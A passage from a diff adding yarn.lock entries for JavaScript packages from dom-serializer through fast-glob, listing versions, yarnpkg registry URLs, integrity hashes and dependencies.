+ resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
+ integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
+ dependencies:
+ domelementtype "^2.0.1"
+ entities "^2.0.0"
+
+dom-walk@^0.1.0:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/dom-walk/-/dom-walk-0.1.2.tgz#0c548bef048f4d1f2a97249002236060daa3fd84"
+ integrity sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==
+
+domain-browser@^1.1.1:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
+ integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
+
+domelementtype@1, domelementtype@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
+ integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
+
+domelementtype@^2.0.1:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.2.0.tgz#9a0b6c2782ed6a1c7323d42267183df9bd8b1d57"
+ integrity sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==
+
+domhandler@^2.3.0:
+ version "2.4.2"
+ resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803"
+ integrity sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==
+ dependencies:
+ domelementtype "1"
+
+domutils@^1.5.1, domutils@^1.7.0:
+ version "1.7.0"
+ resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
+ integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
+ dependencies:
+ dom-serializer "0"
+ domelementtype "1"
+
+dot-case@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-2.1.1.tgz#34dcf37f50a8e93c2b3bca8bb7fb9155c7da3bee"
+ integrity sha1-NNzzf1Co6TwrO8qLt/uRVcfaO+4=
+ dependencies:
+ no-case "^2.2.0"
+
+dot-case@^3.0.4:
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751"
+ integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
+ dependencies:
+ no-case "^3.0.4"
+ tslib "^2.0.3"
+
+dotenv-defaults@^1.0.2:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/dotenv-defaults/-/dotenv-defaults-1.1.1.tgz#032c024f4b5906d9990eb06d722dc74cc60ec1bd"
+ integrity sha512-6fPRo9o/3MxKvmRZBD3oNFdxODdhJtIy1zcJeUSCs6HCy4tarUpd+G67UTU9tF6OWXeSPqsm4fPAB+2eY9Rt9Q==
+ dependencies:
+ dotenv "^6.2.0"
+
+dotenv-expand@^5.1.0:
+ version "5.1.0"
+ resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
+ integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==
+
+dotenv-webpack@^1.8.0:
+ version "1.8.0"
+ resolved "https://registry.yarnpkg.com/dotenv-webpack/-/dotenv-webpack-1.8.0.tgz#7ca79cef2497dd4079d43e81e0796bc9d0f68a5e"
+ integrity sha512-o8pq6NLBehtrqA8Jv8jFQNtG9nhRtVqmoD4yWbgUyoU3+9WBlPe+c2EAiaJok9RB28QvrWvdWLZGeTT5aATDMg==
+ dependencies:
+ dotenv-defaults "^1.0.2"
+
+dotenv@^6.2.0:
+ version "6.2.0"
+ resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-6.2.0.tgz#941c0410535d942c8becf28d3f357dbd9d476064"
+ integrity sha512-HygQCKUBSFl8wKQZBSemMywRWcEDNidvNbjGVyZu3nbZ8qq9ubiPoGLMdRDpfSrpkkm9BXYFkpKxxFX38o/76w==
+
+dotenv@^8.0.0:
+ version "8.6.0"
+ resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-8.6.0.tgz#061af664d19f7f4d8fc6e4ff9b584ce237adcb8b"
+ integrity sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g==
+
+downshift@^6.0.15:
+ version "6.1.3"
+ resolved "https://registry.yarnpkg.com/downshift/-/downshift-6.1.3.tgz#e794b7805d24810968f21e81ad6bdd9f3fdc40da"
+ integrity sha512-RA1MuaNcTbt0j+sVLhSs8R2oZbBXYAtdQP/V+uHhT3DoDteZzJPjlC+LQVm9T07Wpvo84QXaZtUCePLDTDwGXg==
+ dependencies:
+ "@babel/runtime" "^7.13.10"
+ compute-scroll-into-view "^1.0.17"
+ prop-types "^15.7.2"
+ react-is "^17.0.2"
+
+duplexer@^0.1.1:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
+ integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
+
+duplexify@^3.4.2, duplexify@^3.6.0:
+ version "3.7.1"
+ resolved "https://registry.yarnpkg.com/duplexify/-/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309"
+ integrity sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==
+ dependencies:
+ end-of-stream "^1.0.0"
+ inherits "^2.0.1"
+ readable-stream "^2.0.0"
+ stream-shift "^1.0.0"
+
+ecc-jsbn@~0.1.1:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
+ integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
+ dependencies:
+ jsbn "~0.1.0"
+ safer-buffer "^2.1.0"
+
+ee-first@1.1.1:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
+ integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
+
+electron-to-chromium@^1.3.564, electron-to-chromium@^1.3.723:
+ version "1.3.742"
+ resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.742.tgz#7223215acbbd3a5284962ebcb6df85d88b95f200"
+ integrity sha512-ihL14knI9FikJmH2XUIDdZFWJxvr14rPSdOhJ7PpS27xbz8qmaRwCwyg/bmFwjWKmWK9QyamiCZVCvXm5CH//Q==
+
+element-resize-detector@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/element-resize-detector/-/element-resize-detector-1.2.2.tgz#bf7c3ff915957e4e62e86241ed2f9c86b078892b"
+ integrity sha512-+LOXRkCJc4I5WhEJxIDjhmE3raF8jtOMBDqSCgZTMz2TX3oXAX5pE2+MDeopJlGdXzP7KzPbBJaUGfNaP9HG4A==
+ dependencies:
+ batch-processor "1.0.0"
+
+elliptic@^6.5.3:
+ version "6.5.4"
+ resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb"
+ integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
+ dependencies:
+ bn.js "^4.11.9"
+ brorand "^1.1.0"
+ hash.js "^1.0.0"
+ hmac-drbg "^1.0.1"
+ inherits "^2.0.4"
+ minimalistic-assert "^1.0.1"
+ minimalistic-crypto-utils "^1.0.1"
+
+"emoji-regex@>=6.0.0 <=6.1.1":
+ version "6.1.1"
+ resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-6.1.1.tgz#c6cd0ec1b0642e2a3c67a1137efc5e796da4f88e"
+ integrity sha1-xs0OwbBkLio8Z6ETfvxeeW2k+I4=
+
+emoji-regex@^7.0.1:
+ version "7.0.3"
+ resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
+ integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
+
+emoji-regex@^8.0.0:
+ version "8.0.0"
+ resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+ integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+emojis-list@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
+ integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
+
+emotion-theming@^10.0.27:
+ version "10.0.27"
+ resolved "https://registry.yarnpkg.com/emotion-theming/-/emotion-theming-10.0.27.tgz#1887baaec15199862c89b1b984b79806f2b9ab10"
+ integrity sha512-MlF1yu/gYh8u+sLUqA0YuA9JX0P4Hb69WlKc/9OLo+WCXuX6sy/KoIa+qJimgmr2dWqnypYKYPX37esjDBbhdw==
+ dependencies:
+ "@babel/runtime" "^7.5.5"
+ "@emotion/weak-memoize" "0.2.5"
+ hoist-non-react-statics "^3.3.0"
+
+encodeurl@~1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
+ integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
+
+end-of-stream@^1.0.0, end-of-stream@^1.1.0:
+ version "1.4.4"
+ resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
+ integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+ dependencies:
+ once "^1.4.0"
+
+enhanced-resolve@^4.0.0, enhanced-resolve@^4.5.0:
+ version "4.5.0"
+ resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec"
+ integrity sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==
+ dependencies:
+ graceful-fs "^4.1.2"
+ memory-fs "^0.5.0"
+ tapable "^1.0.0"
+
+entities@^1.1.1:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/entities/-/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56"
+ integrity sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==
+
+entities@^2.0.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
+ integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
+
+errno@^0.1.3, errno@~0.1.7:
+ version "0.1.8"
+ resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
+ integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==
+ dependencies:
+ prr "~1.0.1"
+
+error-ex@^1.2.0, error-ex@^1.3.1:
+ version "1.3.2"
+ resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+ integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
+ dependencies:
+ is-arrayish "^0.2.1"
+
+es-abstract@^1.17.0-next.0, es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2, es-abstract@^1.18.2:
+ version "1.18.3"
+ resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.18.3.tgz#25c4c3380a27aa203c44b2b685bba94da31b63e0"
+ integrity sha512-nQIr12dxV7SSxE6r6f1l3DtAeEYdsGpps13dR0TwJg1S8gyp4ZPgy3FZcHBgbiQqnoqSTb+oC+kO4UQ0C/J8vw==
+ dependencies:
+ call-bind "^1.0.2"
+ es-to-primitive "^1.2.1"
+ function-bind "^1.1.1"
+ get-intrinsic "^1.1.1"
+ has "^1.0.3"
+ has-symbols "^1.0.2"
+ is-callable "^1.2.3"
+ is-negative-zero "^2.0.1"
+ is-regex "^1.1.3"
+ is-string "^1.0.6"
+ object-inspect "^1.10.3"
+ object-keys "^1.1.1"
+ object.assign "^4.1.2"
+ string.prototype.trimend "^1.0.4"
+ string.prototype.trimstart "^1.0.4"
+ unbox-primitive "^1.0.1"
+
+es-array-method-boxes-properly@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz#873f3e84418de4ee19c5be752990b2e44718d09e"
+ integrity sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==
+
+es-get-iterator@^1.0.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/es-get-iterator/-/es-get-iterator-1.1.2.tgz#9234c54aba713486d7ebde0220864af5e2b283f7"
+ integrity sha512-+DTO8GYwbMCwbywjimwZMHp8AuYXOS2JZFWoi2AlPOS3ebnII9w/NLpNZtA7A0YLaVDw+O7KFCeoIV7OPvM7hQ==
+ dependencies:
+ call-bind "^1.0.2"
+ get-intrinsic "^1.1.0"
+ has-symbols "^1.0.1"
+ is-arguments "^1.1.0"
+ is-map "^2.0.2"
+ is-set "^2.0.2"
+ is-string "^1.0.5"
+ isarray "^2.0.5"
+
+es-to-primitive@^1.2.1:
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
+ integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+ dependencies:
+ is-callable "^1.1.4"
+ is-date-object "^1.0.1"
+ is-symbol "^1.0.2"
+
+es5-shim@^4.5.13:
+ version "4.5.15"
+ resolved "https://registry.yarnpkg.com/es5-shim/-/es5-shim-4.5.15.tgz#6a26869b261854a3b045273f5583c52d390217fe"
+ integrity sha512-FYpuxEjMeDvU4rulKqFdukQyZSTpzhg4ScQHrAosrlVpR6GFyaw14f74yn2+4BugniIS0Frpg7TvwZocU4ZMTw==
+
+es6-shim@^0.35.5:
+ version "0.35.6"
+ resolved "https://registry.yarnpkg.com/es6-shim/-/es6-shim-0.35.6.tgz#d10578301a83af2de58b9eadb7c2c9945f7388a0"
+ integrity sha512-EmTr31wppcaIAgblChZiuN/l9Y7DPyw8Xtbg7fIVngn6zMW+IEBJDJngeKC3x6wr0V/vcA2wqeFnaw1bFJbDdA==
+
+escalade@^3.0.2, escalade@^3.1.1:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
+ integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
+
+escape-html@~1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
+ integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
+
+escape-string-regexp@2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
+ integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
+
+escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+ integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
+
+escodegen@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-2.0.0.tgz#5e32b12833e8aa8fa35e1bf0befa89380484c7dd"
+ integrity sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==
+ dependencies:
+ esprima "^4.0.1"
+ estraverse "^5.2.0"
+ esutils "^2.0.2"
+ optionator "^0.8.1"
+ optionalDependencies:
+ source-map "~0.6.1"
+
+eslint-scope@^4.0.3:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
+ integrity sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==
+ dependencies:
+ esrecurse "^4.1.0"
+ estraverse "^4.1.1"
+
+esprima@^4.0.0, esprima@^4.0.1, esprima@~4.0.0:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
+ integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
+
+esrecurse@^4.1.0:
+ version "4.3.0"
+ resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+ integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+ dependencies:
+ estraverse "^5.2.0"
+
+estraverse@^4.1.1:
+ version "4.3.0"
+ resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
+ integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==
+
+estraverse@^5.2.0:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.2.0.tgz#307df42547e6cc7324d3cf03c155d5cdb8c53880"
+ integrity sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==
+
+estree-walker@^2.0.1:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/estree-walker/-/estree-walker-2.0.2.tgz#52f010178c2a4c117a7757cfe942adb7d2da4cac"
+ integrity sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==
+
+esutils@^2.0.2:
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
+ integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
+
+etag@~1.8.1:
+ version "1.8.1"
+ resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
+ integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
+
+events@^3.0.0:
+ version "3.3.0"
+ resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
+ integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
+
+evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
+ integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==
+ dependencies:
+ md5.js "^1.3.4"
+ safe-buffer "^5.1.1"
+
+exec-sh@^0.3.2:
+ version "0.3.6"
+ resolved "https://registry.yarnpkg.com/exec-sh/-/exec-sh-0.3.6.tgz#ff264f9e325519a60cb5e273692943483cca63bc"
+ integrity sha512-nQn+hI3yp+oD0huYhKwvYI32+JFeq+XkNcD1GAo3Y/MjxsfVGmrrzrnzjWiNY6f+pUCP440fThsFh5gZrRAU/w==
+
+execa@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/execa/-/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
+ integrity sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==
+ dependencies:
+ cross-spawn "^6.0.0"
+ get-stream "^4.0.0"
+ is-stream "^1.1.0"
+ npm-run-path "^2.0.0"
+ p-finally "^1.0.0"
+ signal-exit "^3.0.0"
+ strip-eof "^1.0.0"
+
+expand-brackets@^2.1.4:
+ version "2.1.4"
+ resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
+ integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
+ dependencies:
+ debug "^2.3.3"
+ define-property "^0.2.5"
+ extend-shallow "^2.0.1"
+ posix-character-classes "^0.1.0"
+ regex-not "^1.0.0"
+ snapdragon "^0.8.1"
+ to-regex "^3.0.1"
+
+expand-tilde@^2.0.0, expand-tilde@^2.0.2:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
+ integrity sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=
+ dependencies:
+ homedir-polyfill "^1.0.1"
+
+express@^4.17.1:
+ version "4.17.1"
+ resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
+ integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
+ dependencies:
+ accepts "~1.3.7"
+ array-flatten "1.1.1"
+ body-parser "1.19.0"
+ content-disposition "0.5.3"
+ content-type "~1.0.4"
+ cookie "0.4.0"
+ cookie-signature "1.0.6"
+ debug "2.6.9"
+ depd "~1.1.2"
+ encodeurl "~1.0.2"
+ escape-html "~1.0.3"
+ etag "~1.8.1"
+ finalhandler "~1.1.2"
+ fresh "0.5.2"
+ merge-descriptors "1.0.1"
+ methods "~1.1.2"
+ on-finished "~2.3.0"
+ parseurl "~1.3.3"
+ path-to-regexp "0.1.7"
+ proxy-addr "~2.0.5"
+ qs "6.7.0"
+ range-parser "~1.2.1"
+ safe-buffer "5.1.2"
+ send "0.17.1"
+ serve-static "1.14.1"
+ setprototypeof "1.1.1"
+ statuses "~1.5.0"
+ type-is "~1.6.18"
+ utils-merge "1.0.1"
+ vary "~1.1.2"
+
+extend-shallow@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
+ integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
+ dependencies:
+ is-extendable "^0.1.0"
+
+extend-shallow@^3.0.0, extend-shallow@^3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
+ integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
+ dependencies:
+ assign-symbols "^1.0.0"
+ is-extendable "^1.0.1"
+
+extend@^3.0.0, extend@~3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
+ integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
+
+extglob@^2.0.4:
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
+ integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==
+ dependencies:
+ array-unique "^0.3.2"
+ define-property "^1.0.0"
+ expand-brackets "^2.1.4"
+ extend-shallow "^2.0.1"
+ fragment-cache "^0.2.1"
+ regex-not "^1.0.0"
+ snapdragon "^0.8.1"
+ to-regex "^3.0.1"
+
+extsprintf@1.3.0:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
+ integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
+
+extsprintf@^1.2.0:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
+ integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+ version "3.1.3"
+ resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+ integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-glob@^2.2.6:
+ version "2.2.7"
+ resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-2.2.7.tgz#6953857c3afa475fff92ee6015d52da70a4cd39d"
+ integrity sha512-g1KuQwHOZAmOZMuBtHdxDtju+T2RT8jgCC9aANsbpdiDDTSnjgfuVsIBNKbUeJI3oKMRExcfNDtJl4OhbffMsw==
+ dependencies:
+ "@mrmlnc/readdir-enhanced" "^2.2.1"
+ "@nodelib/fs.stat" "^1.1.2"
+ glob-parent "^3.1.0"
+ is-glob "^4.0.0"
+ merge2 "^1.2.3"
